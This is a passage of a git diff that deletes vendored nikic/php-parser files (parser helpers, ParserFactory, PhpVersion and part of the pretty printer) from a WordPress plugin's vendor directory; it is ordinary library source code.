$this->emitError(new Error( - 'Invalid indentation - tabs and spaces cannot be mixed', - $endTokenAttributes - )); - - // Proceed processing as if this doc string is not indented - $indentation = ''; - } - - $indentLen = \strlen($indentation); - $indentChar = $indentHasSpaces ? " " : "\t"; - - if (\is_string($contents)) { - if ($contents === '') { - $attributes['rawValue'] = $contents; - return new String_('', $attributes); - } - - $contents = $this->stripIndentation( - $contents, $indentLen, $indentChar, true, true, $attributes - ); - $contents = preg_replace('~(\r\n|\n|\r)\z~', '', $contents); - $attributes['rawValue'] = $contents; - - if ($kind === String_::KIND_HEREDOC) { - $contents = String_::parseEscapeSequences($contents, null, $parseUnicodeEscape); - } - - return new String_($contents, $attributes); - } else { - assert(count($contents) > 0); - if (!$contents[0] instanceof Node\InterpolatedStringPart) { - // If there is no leading encapsed string part, pretend there is an empty one - $this->stripIndentation( - '', $indentLen, $indentChar, true, false, $contents[0]->getAttributes() - ); - } - - $newContents = []; - foreach ($contents as $i => $part) { - if ($part instanceof Node\InterpolatedStringPart) { - $isLast = $i === \count($contents) - 1; - $part->value = $this->stripIndentation( - $part->value, $indentLen, $indentChar, - $i === 0, $isLast, $part->getAttributes() - ); - if ($isLast) { - $part->value = preg_replace('~(\r\n|\n|\r)\z~', '', $part->value); - } - $part->setAttribute('rawValue', $part->value); - $part->value = String_::parseEscapeSequences($part->value, null, $parseUnicodeEscape); - if ('' === $part->value) { - continue; - } - } - $newContents[] = $part; - } - return new InterpolatedString($newContents, $attributes); - } - } - - protected function createCommentFromToken(Token $token, int $tokenPos): Comment { - assert($token->id === \T_COMMENT || $token->id == \T_DOC_COMMENT); - return \T_DOC_COMMENT === $token->id - ? new Comment\Doc($token->text, $token->line, $token->pos, $tokenPos, - $token->getEndLine(), $token->getEndPos() - 1, $tokenPos) - : new Comment($token->text, $token->line, $token->pos, $tokenPos, - $token->getEndLine(), $token->getEndPos() - 1, $tokenPos); - } - - /** - * Get last comment before the given token position, if any - */ - protected function getCommentBeforeToken(int $tokenPos): ?Comment { - while (--$tokenPos >= 0) { - $token = $this->tokens[$tokenPos]; - if (!isset($this->dropTokens[$token->id])) { - break; - } - - if ($token->id === \T_COMMENT || $token->id === \T_DOC_COMMENT) { - return $this->createCommentFromToken($token, $tokenPos); - } - } - return null; - } - - /** - * Create a zero-length nop to capture preceding comments, if any. - */ - protected function maybeCreateZeroLengthNop(int $tokenPos): ?Nop { - $comment = $this->getCommentBeforeToken($tokenPos); - if ($comment === null) { - return null; - } - - $commentEndLine = $comment->getEndLine(); - $commentEndFilePos = $comment->getEndFilePos(); - $commentEndTokenPos = $comment->getEndTokenPos(); - $attributes = [ - 'startLine' => $commentEndLine, - 'endLine' => $commentEndLine, - 'startFilePos' => $commentEndFilePos + 1, - 'endFilePos' => $commentEndFilePos, - 'startTokenPos' => $commentEndTokenPos + 1, - 'endTokenPos' => $commentEndTokenPos, - ]; - return new Nop($attributes); - } - - protected function maybeCreateNop(int $tokenStartPos, int $tokenEndPos): ?Nop { - if ($this->getCommentBeforeToken($tokenStartPos) === null) { - return null; - } - return new Nop($this->getAttributes($tokenStartPos, $tokenEndPos)); - } - - protected function handleHaltCompiler(): string { - // Prevent the lexer from returning any further tokens. - $nextToken = $this->tokens[$this->tokenPos + 1]; - $this->tokenPos = \count($this->tokens) - 2; - - // Return text after __halt_compiler. - return $nextToken->id === \T_INLINE_HTML ? $nextToken->text : ''; - } - - protected function inlineHtmlHasLeadingNewline(int $stackPos): bool { - $tokenPos = $this->tokenStartStack[$stackPos]; - $token = $this->tokens[$tokenPos]; - assert($token->id == \T_INLINE_HTML); - if ($tokenPos > 0) { - $prevToken = $this->tokens[$tokenPos - 1]; - assert($prevToken->id == \T_CLOSE_TAG); - return false !== strpos($prevToken->text, "\n") - || false !== strpos($prevToken->text, "\r"); - } - return true; - } - - /** - * @return array - */ - protected function createEmptyElemAttributes(int $tokenPos): array { - return $this->getAttributesForToken($tokenPos); - } - - protected function fixupArrayDestructuring(Array_ $node): Expr\List_ { - $this->createdArrays->detach($node); - return new Expr\List_(array_map(function (Node\ArrayItem $item) { - if ($item->value instanceof Expr\Error) { - // We used Error as a placeholder for empty elements, which are legal for destructuring. - return null; - } - if ($item->value instanceof Array_) { - return new Node\ArrayItem( - $this->fixupArrayDestructuring($item->value), - $item->key, $item->byRef, $item->getAttributes()); - } - return $item; - }, $node->items), ['kind' => Expr\List_::KIND_ARRAY] + $node->getAttributes()); - } - - protected function postprocessList(Expr\List_ $node): void { - foreach ($node->items as $i => $item) { - if ($item->value instanceof Expr\Error) { - // We used Error as a placeholder for empty elements, which are legal for destructuring. - $node->items[$i] = null; - } - } - } - - /** @param ElseIf_|Else_ $node */ - protected function fixupAlternativeElse($node): void { - // Make sure a trailing nop statement carrying comments is part of the node. - $numStmts = \count($node->stmts); - if ($numStmts !== 0 && $node->stmts[$numStmts - 1] instanceof Nop) { - $nopAttrs = $node->stmts[$numStmts - 1]->getAttributes(); - if (isset($nopAttrs['endLine'])) { - $node->setAttribute('endLine', $nopAttrs['endLine']); - } - if (isset($nopAttrs['endFilePos'])) { - $node->setAttribute('endFilePos', $nopAttrs['endFilePos']); - } - if (isset($nopAttrs['endTokenPos'])) { - $node->setAttribute('endTokenPos', $nopAttrs['endTokenPos']); - } - } - } - - protected function checkClassModifier(int $a, int $b, int $modifierPos): void { - try { - Modifiers::verifyClassModifier($a, $b); - } catch (Error $error) { - $error->setAttributes($this->getAttributesAt($modifierPos)); - $this->emitError($error); - } - } - - protected function checkModifier(int $a, int $b, int $modifierPos): void { - // Jumping through some hoops here because verifyModifier() is also used elsewhere - try { - Modifiers::verifyModifier($a, $b); - } catch (Error $error) { - $error->setAttributes($this->getAttributesAt($modifierPos)); - $this->emitError($error); - } - } - - protected function checkParam(Param $node): void { - if ($node->variadic && null !== $node->default) { - $this->emitError(new Error( - 'Variadic parameter cannot have a default value', - $node->default->getAttributes() - )); - } - } - - protected function checkTryCatch(TryCatch $node): void { - if (empty($node->catches) && null === $node->finally) { - $this->emitError(new Error( - 'Cannot use try without catch or finally', $node->getAttributes() - )); - } - } - - protected function checkNamespace(Namespace_ $node): void { - if (null !== $node->stmts) { - foreach ($node->stmts as $stmt) { - if ($stmt instanceof Namespace_) { - $this->emitError(new Error( - 'Namespace declarations cannot be nested', $stmt->getAttributes() - )); - } - } - } - } - - private function checkClassName(?Identifier $name, int $namePos): void { - if (null !== $name && $name->isSpecialClassName()) { - $this->emitError(new Error( - sprintf('Cannot use \'%s\' as class name as it is reserved', $name), - $this->getAttributesAt($namePos) - )); - } - } - - /** @param Name[] $interfaces */ - private function checkImplementedInterfaces(array $interfaces): void { - foreach ($interfaces as $interface) { - if ($interface->isSpecialClassName()) { - $this->emitError(new Error( - sprintf('Cannot use \'%s\' as interface name as it is reserved', $interface), - $interface->getAttributes() - )); - } - } - } - - protected function checkClass(Class_ $node, int $namePos): void { - $this->checkClassName($node->name, $namePos); - - if ($node->extends && $node->extends->isSpecialClassName()) { - $this->emitError(new Error( - sprintf('Cannot use \'%s\' as class name as it is reserved', $node->extends), - $node->extends->getAttributes() - )); - } - - $this->checkImplementedInterfaces($node->implements); - } - - protected function checkInterface(Interface_ $node, int $namePos): void { - $this->checkClassName($node->name, $namePos); - $this->checkImplementedInterfaces($node->extends); - } - - protected function checkEnum(Enum_ $node, int $namePos): void { - $this->checkClassName($node->name, $namePos); - $this->checkImplementedInterfaces($node->implements); - } - - protected function checkClassMethod(ClassMethod $node, int $modifierPos): void { - if ($node->flags & Modifiers::STATIC) { - switch ($node->name->toLowerString()) { - case '__construct': - $this->emitError(new Error( - sprintf('Constructor %s() cannot be static', $node->name), - $this->getAttributesAt($modifierPos))); - break; - case '__destruct': - $this->emitError(new Error( - sprintf('Destructor %s() cannot be static', $node->name), - $this->getAttributesAt($modifierPos))); - break; - case '__clone': - $this->emitError(new Error( - sprintf('Clone method %s() cannot be static', $node->name), - $this->getAttributesAt($modifierPos))); - break; - } - } - - if ($node->flags & Modifiers::READONLY) { - $this->emitError(new Error( - sprintf('Method %s() cannot be readonly', $node->name), - $this->getAttributesAt($modifierPos))); - } - } - - protected function checkClassConst(ClassConst $node, int $modifierPos): void { - foreach ([Modifiers::STATIC, Modifiers::ABSTRACT, Modifiers::READONLY] as $modifier) { - if ($node->flags & $modifier) { - $this->emitError(new Error( - "Cannot use '" . Modifiers::toString($modifier) . "' as constant modifier", - $this->getAttributesAt($modifierPos))); - } - } - } - - protected function checkUseUse(UseItem $node, int $namePos): void { - if ($node->alias && $node->alias->isSpecialClassName()) { - $this->emitError(new Error( - sprintf( - 'Cannot use %s as %s because \'%2$s\' is a special class name', - $node->name, $node->alias - ), - $this->getAttributesAt($namePos) - )); - } - } - - protected function checkPropertyHooksForMultiProperty(Property $property, int $hookPos): void { - if (count($property->props) > 1) { - $this->emitError(new Error( - 'Cannot use hooks when declaring multiple properties', $this->getAttributesAt($hookPos))); - } - } - - /** @param PropertyHook[] $hooks */ - protected function checkEmptyPropertyHookList(array $hooks, int $hookPos): void { - if (empty($hooks)) { - $this->emitError(new Error( - 'Property hook list cannot be empty', $this->getAttributesAt($hookPos))); - } - } - - protected function checkPropertyHook(PropertyHook $hook, ?int $paramListPos): void { - $name = $hook->name->toLowerString(); - if ($name !== 'get' && $name !== 'set') { - $this->emitError(new Error( - 'Unknown hook "' . $hook->name . '", expected "get" or "set"', - $hook->name->getAttributes())); - } - if ($name === 'get' && $paramListPos !== null) { - $this->emitError(new Error( - 'get hook must not have a parameter list', $this->getAttributesAt($paramListPos))); - } - } - - protected function checkPropertyHookModifiers(int $a, int $b, int $modifierPos): void { - try { - Modifiers::verifyModifier($a, $b); - } catch (Error $error) { - $error->setAttributes($this->getAttributesAt($modifierPos)); - $this->emitError($error); - } - - if ($b != Modifiers::FINAL) { - $this->emitError(new Error( - 'Cannot use the ' . Modifiers::toString($b) . ' modifier on a property hook', - $this->getAttributesAt($modifierPos))); - } - } - - /** - * @param Property|Param $node - */ - protected function addPropertyNameToHooks(Node $node): void { - if ($node instanceof Property) { - $name = $node->props[0]->name->toString(); - } else { - $name = $node->var->name; - } - foreach ($node->hooks as $hook) { - $hook->setAttribute('propertyName', $name); - } - } - - /** @param array $args */ - private function isSimpleExit(array $args): bool { - if (\count($args) === 0) { - return true; - } - if (\count($args) === 1) { - $arg = $args[0]; - return $arg instanceof Arg && $arg->name === null && - $arg->byRef === false && $arg->unpack === false; - } - return false; - } - - /** - * @param array $args - * @param array $attrs - */ - protected function createExitExpr(string $name, int $namePos, array $args, array $attrs): Expr { - if ($this->isSimpleExit($args)) { - // Create Exit node for backwards compatibility. - $attrs['kind'] = strtolower($name) === 'exit' ? Expr\Exit_::KIND_EXIT : Expr\Exit_::KIND_DIE; - return new Expr\Exit_(\count($args) === 1 ? $args[0]->value : null, $attrs); - } - return new Expr\FuncCall(new Name($name, $this->getAttributesAt($namePos)), $args, $attrs); - } - - /** - * Creates the token map. - * - * The token map maps the PHP internal token identifiers - * to the identifiers used by the Parser. Additionally it - * maps T_OPEN_TAG_WITH_ECHO to T_ECHO and T_CLOSE_TAG to ';'. - * - * @return array The token map - */ - protected function createTokenMap(): array { - $tokenMap = []; - - // Single-char tokens use an identity mapping. - for ($i = 0; $i < 256; ++$i) { - $tokenMap[$i] = $i; - } - - foreach ($this->symbolToName as $name) { - if ($name[0] === 'T') { - $tokenMap[\constant($name)] = constant(static::class . '::' . $name); - } - } - - // T_OPEN_TAG_WITH_ECHO with dropped T_OPEN_TAG results in T_ECHO - $tokenMap[\T_OPEN_TAG_WITH_ECHO] = static::T_ECHO; - // T_CLOSE_TAG is equivalent to ';' - $tokenMap[\T_CLOSE_TAG] = ord(';'); - - // We have created a map from PHP token IDs to external symbol IDs. - // Now map them to the internal symbol ID. - $fullTokenMap = []; - foreach ($tokenMap as $phpToken => $extSymbol) { - $intSymbol = $this->tokenToSymbol[$extSymbol]; - if ($intSymbol === $this->invalidSymbol) { - continue; - } - $fullTokenMap[$phpToken] = $intSymbol; - } - - return $fullTokenMap; - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/ParserFactory.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/ParserFactory.php deleted file mode 100644 index 3a7586ea..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/ParserFactory.php +++ /dev/null @@ -1,42 +0,0 @@ -isHostVersion()) { - $lexer = new Lexer(); - } else { - $lexer = new Lexer\Emulative($version); - } - if ($version->id >= 80000) { - return new Php8($lexer, $version); - } - return new Php7($lexer, $version); - } - - /** - * Create a parser targeting the newest version supported by this library. Code for older - * versions will be accepted if there have been no relevant backwards-compatibility breaks in - * PHP. - */ - public function createForNewestSupportedVersion(): Parser { - return $this->createForVersion(PhpVersion::getNewestSupported()); - } - - /** - * Create a parser targeting the host PHP version, that is the PHP version we're currently - * running on. This parser will not use any token emulation. - */ - public function createForHostVersion(): Parser { - return $this->createForVersion(PhpVersion::getHostVersion()); - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/PhpVersion.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/PhpVersion.php deleted file mode 100644 index 04ff6ddc..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/PhpVersion.php +++ /dev/null @@ -1,164 +0,0 @@ - 50100, - 'callable' => 50400, - 'bool' => 70000, - 'int' => 70000, - 'float' => 70000, - 'string' => 70000, - 'iterable' => 70100, - 'void' => 70100, - 'object' => 70200, - 'null' => 80000, - 'false' => 80000, - 'mixed' => 80000, - 'never' => 80100, - 'true' => 80200, - ]; - - private function __construct(int $id) { - $this->id = $id; - } - - /** - * Create a PhpVersion object from major and minor version components. - */ - public static function fromComponents(int $major, int $minor): self { - return new self($major * 10000 + $minor * 100); - } - - /** - * Get the newest PHP version supported by this library. Support for this version may be partial, - * if it is still under development. - */ - public static function getNewestSupported(): self { - return self::fromComponents(8, 4); - } - - /** - * Get the host PHP version, that is the PHP version we're currently running on. - */ - public static function getHostVersion(): self { - return self::fromComponents(\PHP_MAJOR_VERSION, \PHP_MINOR_VERSION); - } - - /** - * Parse the version from a string like "8.1". - */ - public static function fromString(string $version): self { - if (!preg_match('/^(\d+)\.(\d+)/', $version, $matches)) { - throw new \LogicException("Invalid PHP version \"$version\""); - } - return self::fromComponents((int) $matches[1], (int) $matches[2]); - } - - /** - * Check whether two versions are the same. - */ - public function equals(PhpVersion $other): bool { - return $this->id === $other->id; - } - - /** - * Check whether this version is greater than or equal to the argument. - */ - public function newerOrEqual(PhpVersion $other): bool { - return $this->id >= $other->id; - } - - /** - * Check whether this version is older than the argument. - */ - public function older(PhpVersion $other): bool { - return $this->id < $other->id; - } - - /** - * Check whether this is the host PHP version. - */ - public function isHostVersion(): bool { - return $this->equals(self::getHostVersion()); - } - - /** - * Check whether this PHP version supports the given builtin type. Type name must be lowercase. - */ - public function supportsBuiltinType(string $type): bool { - $minVersion = self::BUILTIN_TYPE_VERSIONS[$type] ?? null; - return $minVersion !== null && $this->id >= $minVersion; - } - - /** - * Whether this version supports [] array literals. - */ - public function supportsShortArraySyntax(): bool { - return $this->id >= 50400; - } - - /** - * Whether this version supports [] for destructuring. - */ - public function supportsShortArrayDestructuring(): bool { - return $this->id >= 70100; - } - - /** - * Whether this version supports flexible heredoc/nowdoc. - */ - public function supportsFlexibleHeredoc(): bool { - return $this->id >= 70300; - } - - /** - * Whether this version supports trailing commas in parameter lists. - */ - public function supportsTrailingCommaInParamList(): bool { - return $this->id >= 80000; - } - - /** - * Whether this version allows "$var =& new Obj". - */ - public function allowsAssignNewByReference(): bool { - return $this->id < 70000; - } - - /** - * Whether this version allows invalid octals like "08". - */ - public function allowsInvalidOctals(): bool { - return $this->id < 70000; - } - - /** - * Whether this version allows DEL (\x7f) to occur in identifiers. - */ - public function allowsDelInIdentifiers(): bool { - return $this->id < 70100; - } - - /** - * Whether this version supports yield in expression context without parentheses. - */ - public function supportsYieldWithoutParentheses(): bool { - return $this->id >= 70000; - } - - /** - * Whether this version supports unicode escape sequences in strings. - */ - public function supportsUnicodeEscapes(): bool { - return $this->id >= 70000; - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/PrettyPrinter.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/PrettyPrinter.php deleted file mode 100644 index 892c686e..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/nikic/php-parser/lib/PhpParser/PrettyPrinter.php +++ /dev/null @@ -1,51 +0,0 @@ -pAttrGroups($node->attrGroups, true) - . $this->pModifiers($node->flags) - . ($node->type ? $this->p($node->type) . ' ' : '') - . ($node->byRef ? '&' : '') - . ($node->variadic ? '...' : '') - . $this->p($node->var) - . ($node->default ? ' = ' . $this->p($node->default) : '') - . ($node->hooks ? ' {' . $this->pStmts($node->hooks) . $this->nl . '}' : ''); - } - - protected function pArg(Node\Arg $node): string { - return ($node->name ? $node->name->toString() . ': ' : '') - . ($node->byRef ? '&' : '') . ($node->unpack ? '...' : '') - . $this->p($node->value); - } - - protected function pVariadicPlaceholder(Node\VariadicPlaceholder $node): string { - return '...'; - } - - protected function pConst(Node\Const_ $node): string { - return $node->name . ' = ' . $this->p($node->value); - } - - protected function pNullableType(Node\NullableType $node): string { - return '?' . $this->p($node->type); - } - - protected function pUnionType(Node\UnionType $node): string { - $types = []; - foreach ($node->types as $typeNode) { - if ($typeNode instanceof Node\IntersectionType) { - $types[] = '('. $this->p($typeNode) . ')'; - continue; - } - $types[] = $this->p($typeNode); - } - return implode('|', $types); - } - - protected function pIntersectionType(Node\IntersectionType $node): string { - return $this->pImplode($node->types, '&'); - } - - protected function pIdentifier(Node\Identifier $node): string { - return $node->name; - } - - protected function pVarLikeIdentifier(Node\VarLikeIdentifier $node): string { - return '$' . $node->name; - } - - protected function pAttribute(Node\Attribute $node): string { - return $this->p($node->name) - . ($node->args ? '(' . $this->pCommaSeparated($node->args) . ')' : ''); - } - - protected function pAttributeGroup(Node\AttributeGroup $node): string { - return '#[' . $this->pCommaSeparated($node->attrs) . ']'; - } - - // Names - - protected function pName(Name $node): string { - return $node->name; - } - - protected function pName_FullyQualified(Name\FullyQualified $node): string { - return '\\' . $node->name; - } - - protected function pName_Relative(Name\Relative $node): string { - return 'namespace\\' . $node->name; - } - - // Magic Constants - - protected function pScalar_MagicConst_Class(MagicConst\Class_ $node): string { - return '__CLASS__'; - } - - protected function pScalar_MagicConst_Dir(MagicConst\Dir $node): string { - return '__DIR__'; - } - - protected function pScalar_MagicConst_File(MagicConst\File $node): string { - return '__FILE__'; - } - - protected function pScalar_MagicConst_Function(MagicConst\Function_ $node): string { - return '__FUNCTION__'; - } - - protected function pScalar_MagicConst_Line(MagicConst\Line $node): string { - return '__LINE__'; - } - - protected function pScalar_MagicConst_Method(MagicConst\Method $node): string { - return '__METHOD__'; - } - - protected function pScalar_MagicConst_Namespace(MagicConst\Namespace_ $node): string { - return '__NAMESPACE__'; - } - - protected function pScalar_MagicConst_Trait(MagicConst\Trait_ $node): string { - return '__TRAIT__'; - } - - protected function pScalar_MagicConst_Property(MagicConst\Property $node): string { - return '__PROPERTY__'; - } - - // Scalars - - private function indentString(string $str): string { - return str_replace("\n", $this->nl, $str); - } - - protected function pScalar_String(Scalar\String_ $node): string { - $kind = $node->getAttribute('kind', Scalar\String_::KIND_SINGLE_QUOTED); - switch ($kind) { - case Scalar\String_::KIND_NOWDOC: - $label = $node->getAttribute('docLabel'); - if ($label && !$this->containsEndLabel($node->value, $label)) { - $shouldIdent = $this->phpVersion->supportsFlexibleHeredoc(); - $nl = $shouldIdent ? $this->nl : $this->newline; - if ($node->value === '') { - return "<<<'$label'$nl$label{$this->docStringEndToken}"; - } - - // Make sure trailing \r is not combined with following \n into CRLF. - if ($node->value[strlen($node->value) - 1] !== "\r") { - $value = $shouldIdent ? $this->indentString($node->value) : $node->value; - return "<<<'$label'$nl$value$nl$label{$this->docStringEndToken}"; - } - } - /* break missing intentionally */ - // no break - case Scalar\String_::KIND_SINGLE_QUOTED: - return $this->pSingleQuotedString($node->value); - case Scalar\String_::KIND_HEREDOC: - $label = $node->getAttribute('docLabel'); - $escaped = $this->escapeString($node->value, null); - if ($label && !$this->containsEndLabel($escaped, $label)) { - $nl = $this->phpVersion->supportsFlexibleHeredoc() ? $this->nl : $this->newline; - if ($escaped === '') { - return "<<<$label$nl$label{$this->docStringEndToken}"; - } - - return "<<<$label$nl$escaped$nl$label{$this->docStringEndToken}"; - } - /* break missing intentionally */ - // no break - case Scalar\String_::KIND_DOUBLE_QUOTED: - return '"' . $this->escapeString($node->value, '"') . '"'; - } - throw new \Exception('Invalid string kind'); - } - - protected function pScalar_InterpolatedString(Scalar\InterpolatedString $node): string { - if ($node->getAttribute('kind') === Scalar\String_::KIND_HEREDOC) { - $label = $node->getAttribute('docLabel'); - if ($label && !$this->encapsedContainsEndLabel($node->parts, $label)) { - $nl = $this->phpVersion->supportsFlexibleHeredoc() ? $this->nl : $this->newline; - if (count($node->parts) === 1 - && $node->parts[0] instanceof Node\InterpolatedStringPart - && $node->parts[0]->value === '' - ) { - return "<<<$label$nl$label{$this->docStringEndToken}"; - } - - return "<<<$label$nl" . $this->pEncapsList($node->parts, null) - . "$nl$label{$this->docStringEndToken}"; - } - } - return '"' . $this->pEncapsList($node->parts, '"') . '"'; - } - - protected function pScalar_Int(Scalar\Int_ $node): string { - if ($node->value === -\PHP_INT_MAX - 1) { - // PHP_INT_MIN cannot be represented as a literal, - // because the sign is not part of the literal - return '(-' . \PHP_INT_MAX . '-1)'; - } - - $kind = $node->getAttribute('kind', Scalar\Int_::KIND_DEC); - if (Scalar\Int_::KIND_DEC === $kind) { - return (string) $node->value; - } - - if ($node->value < 0) { - $sign = '-'; - $str = (string) -$node->value; - } else { - $sign = ''; - $str = (string) $node->value; - } - switch ($kind) { - case Scalar\Int_::KIND_BIN: - return $sign . '0b' . base_convert($str, 10, 2); - case Scalar\Int_::KIND_OCT: - return $sign . '0' . base_convert($str, 10, 8); - case Scalar\Int_::KIND_HEX: - return $sign . '0x' . base_convert($str, 10, 16); - } - throw new \Exception('Invalid number kind'); - } - - protected function pScalar_Float(Scalar\Float_ $node): string { - if (!is_finite($node->value)) { - if ($node->value === \INF) { - return '1.0E+1000'; - } - if ($node->value === -\INF) { - return '-1.0E+1000'; - } else { - return '\NAN'; - } - } - - // Try to find a short full-precision representation - $stringValue = sprintf('%.16G', $node->value); - if ($node->value !== (float) $stringValue) { - $stringValue = sprintf('%.17G', $node->value); - } - - // %G is locale dependent and there exists no locale-independent alternative. We don't want - // mess with switching locales here, so let's assume that a comma is the only non-standard - // decimal separator we may encounter... - $stringValue = str_replace(',', '.', $stringValue); - - // ensure that number is really printed as float - return preg_match('/^-?[0-9]+$/', $stringValue) ? $stringValue . '.0' : $stringValue; - } - - // Assignments - - protected function pExpr_Assign(Expr\Assign $node, int $precedence, int $lhsPrecedence): string { - return $this->pPrefixOp(Expr\Assign::class, $this->p($node->var) . ' = ', $node->expr, $precedence, $lhsPrecedence); - } - - protected function pExpr_AssignRef(Expr\AssignRef $node, int $precedence, int $lhsPrecedence): string { - return $this->pPrefixOp(Expr\AssignRef::class, $this->p($node->var) . ' =& ', $node->expr, $precedence, $lhsPrecedence); - } - - protected function pExpr_AssignOp_Plus(AssignOp\Plus $node, int $precedence, int $lhsPrecedence): string { - return $this->pPrefixOp(AssignOp\Plus::class, $this->p($node->var) . ' += ', $node->expr, $precedence, $lhsPrecedence); - } - - protected function pExpr_AssignOp_Minus(AssignOp\Minus $node, int $precedence, int $lhsPrecedence): string { - return $this->pPrefixOp(AssignOp\Minus::class, $this->p($node->var) . ' -= ', $node->expr, $precedence, $lhsPrecedence); - } - - protected function pExpr_AssignOp_Mul(AssignOp\Mul $node, int $precedence, int $lhsPrecedence): string { - return $this->pPrefixOp(AssignOp\Mul::class, $this->p($node->var) . ' *= ', $node->expr, $precedence, $lhsPrecedence); - } - - protected function pExpr_AssignOp_Div(AssignOp\Div $node, int $precedence, int $lhsPrecedence): string { - return $this->pPrefixOp(AssignOp\Div::class, $this->p($node->var) . ' /= ', $node->expr, $precedence, $lhsPrecedence); - } - - protected function pExpr_AssignOp_Concat(AssignOp\Concat $node, int $precedence, int $lhsPrecedence): string { - return $this->pPrefixOp(AssignOp\Concat::class, $this->p($node->var) . ' .= ', $node->expr, $precedence, $lhsPrecedence); - } - - protected function pExpr_AssignOp_Mod(AssignOp\Mod $node, int $precedence, int $lhsPrecedence): string { - return $this->pPrefixOp(AssignOp\Mod::class, $this->p($node->var) . ' %= ', $node->expr, $precedence, $lhsPrecedence); - } - - protected function pExpr_AssignOp_BitwiseAnd(AssignOp\BitwiseAnd $node, int $precedence, int $lhsPrecedence): string { - return $this->pPrefixOp(AssignOp\BitwiseAnd::class, $this->p($node->var) . ' &= ', $node->expr, $precedence, $lhsPrecedence); - } - - protected function pExpr_AssignOp_BitwiseOr(AssignOp\BitwiseOr $node, int $precedence, int $lhsPrecedence): string { - return $this->pPrefixOp(AssignOp\BitwiseOr::class, $this->p($node->var) . ' |= ', $node->expr, $precedence, $lhsPrecedence); - } - - protected function pExpr_AssignOp_BitwiseXor(AssignOp\BitwiseXor $node, int $precedence, int $lhsPrecedence): string { - return $this->pPrefixOp(AssignOp\BitwiseXor::class, $this->p($node->var) . ' ^= ', $node->expr, $precedence, $lhsPrecedence); - } - - protected function pExpr_AssignOp_ShiftLeft(AssignOp\ShiftLeft $node, int $precedence, int $lhsPrecedence): string { - return $this->pPrefixOp(AssignOp\ShiftLeft::class, $this->p($node->var) . ' <<= ', $node->expr, $precedence, $lhsPrecedence); - } - - protected function pExpr_AssignOp_ShiftRight(AssignOp\ShiftRight $node, int $precedence, int $lhsPrecedence): string { - return $this->pPrefixOp(AssignOp\ShiftRight::class, $this->p($node->var) . ' >>= ', $node->expr, $precedence, $lhsPrecedence); - } - - protected function pExpr_AssignOp_Pow(AssignOp\Pow $node, int $precedence, int $lhsPrecedence): string { - return $this->pPrefixOp(AssignOp\Pow::class, $this->p($node->var) . ' **= ', $node->expr, $precedence, $lhsPrecedence); - } - - protected function pExpr_AssignOp_Coalesce(AssignOp\Coalesce $node, int $precedence, int $lhsPrecedence): string { - return $this->pPrefixOp(AssignOp\Coalesce::class, $this->p($node->var) . ' ??= ', $node->expr, $precedence, $lhsPrecedence); - } - - // Binary expressions - - protected function pExpr_BinaryOp_Plus(BinaryOp\Plus $node, int $precedence, int $lhsPrecedence): string { - return $this->pInfixOp(BinaryOp\Plus::class, $node->left, ' + ', $node->right, $precedence, $lhsPrecedence); - } - - protected function pExpr_BinaryOp_Minus(BinaryOp\Minus $node, int $precedence, int $lhsPrecedence): string { - return $this->pInfixOp(BinaryOp\Minus::class, $node->left, ' - ', $node->right, $precedence, $lhsPrecedence); - } - - protected function pExpr_BinaryOp_Mul(BinaryOp\Mul $node, int $precedence, int $lhsPrecedence): string { - return $this->pInfixOp(BinaryOp\Mul::class, $node->left, ' * ', $node->right, $precedence, $lhsPrecedence); - } - - protected function pExpr_BinaryOp_Div(BinaryOp\Div $node, int $precedence, int $lhsPrecedence): string { - return $this->pInfixOp(BinaryOp\Div::class, $node->left, ' / ', $node->right, $precedence, $lhsPrecedence); - } - - protected function pExpr_BinaryOp_Concat(BinaryOp\Concat $node, int $precedence, int $lhsPrecedence): string { - return $this->pInfixOp(BinaryOp\Concat::class, $node->left, ' . ', $node->right, $precedence, $lhsPrecedence); - } - - protected function pExpr_BinaryOp_Mod(BinaryOp\Mod $node, int $precedence, int $lhsPrecedence): string { - return $this->pInfixOp(BinaryOp\Mod::class, $node->left, ' % ', $node->right, $precedence, $lhsPrecedence); - } - - protected function pExpr_BinaryOp_BooleanAnd(BinaryOp\BooleanAnd $node, int $precedence, int $lhsPrecedence): string { - return $this->pInfixOp(BinaryOp\BooleanAnd::class, $node->left, ' && ', $node->right, $precedence, $lhsPrecedence); - } - - protected function pExpr_BinaryOp_BooleanOr(BinaryOp\BooleanOr $node, int $precedence, int $lhsPrecedence): string { - return $this->pInfixOp(BinaryOp\BooleanOr::class, $node->left, ' || ', $node->right, $precedence, $lhsPrecedence); - } - - protected function pExpr_BinaryOp_BitwiseAnd(BinaryOp\BitwiseAnd $node, int $precedence, int $lhsPrecedence): string { - return $this->pInfixOp(BinaryOp\BitwiseAnd::class, $node->left, ' & ', $node->right, $precedence, $lhsPrecedence); - } - - protected function pExpr_BinaryOp_BitwiseOr(BinaryOp\BitwiseOr $node, int $precedence, int $lhsPrecedence): string { - return $this->pInfixOp(BinaryOp\BitwiseOr::class, $node->left, ' | ', $node->right, $precedence, $lhsPrecedence); - } - - protected function pExpr_BinaryOp_BitwiseXor(BinaryOp\BitwiseXor $node, int $precedence, int $lhsPrecedence): string { - return $this->pInfixOp(BinaryOp\BitwiseXor::class, $node->left, ' ^ ', $node->right, $precedence, $lhsPrecedence); - } - - protected function pExpr_BinaryOp_ShiftLeft(BinaryOp\ShiftLeft $node, int $precedence, int $lhsPrecedence): string { - return $this->pInfixOp(BinaryOp\ShiftLeft::class, $node->left, ' << ', $node->right, $precedence, $lhsPrecedence); - } - - protected function pExpr_BinaryOp_ShiftRight(BinaryOp\ShiftRight $node, int $precedence, int $lhsPrecedence): string { - return $this->pInfixOp(BinaryOp\ShiftRight::class, 